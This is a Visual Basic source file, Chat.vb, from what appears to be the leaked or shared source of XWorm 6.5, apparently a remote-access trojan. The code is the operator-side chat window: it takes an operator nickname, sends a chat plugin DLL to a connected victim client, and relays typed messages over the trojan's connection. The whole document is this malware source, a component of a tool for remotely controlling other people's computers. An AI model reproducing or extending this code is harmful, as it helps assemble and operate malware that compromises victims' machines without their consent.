Files
XWorm-6.5-Source/XWorm/Forms/Chat.vb
T
2026-08-27 11:22:34 -06:00

50 lines
2.0 KiB
VB.net

Imports System.Threading
Public Class Chat
Public C As Client
Public chatE As Boolean
Public Nickname As String
Private Sub Chat_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim nick As String = Interaction.InputBox("NICKNAME", "CLIENT CHAT", "Admin")
If String.IsNullOrEmpty(nick) Then
Close()
Else
Nickname = nick
Try
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Chat.dll"))
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End If
End Sub
Private Sub Chat_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
Dim B As Byte() = SB("ENDChat")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
If Not C.IsConnected Then
Close()
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
If chatE AndAlso e.KeyData = Keys.Enter AndAlso Not String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Then
e.SuppressKeyPress = True
Guna2TextBox2.Text &= "ME: " & Guna2TextBox1.Text & Environment.NewLine
Dim B As Byte() = SB("GETChat" & SettingsHelper.SPL & Nickname & ": " & Guna2TextBox1.Text)
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Guna2TextBox2.SelectionStart = Guna2TextBox2.Text.Length
Guna2TextBox2.ScrollToCaret()
Guna2TextBox2.Refresh()
Guna2TextBox1.Clear()
End If
End Sub
End Class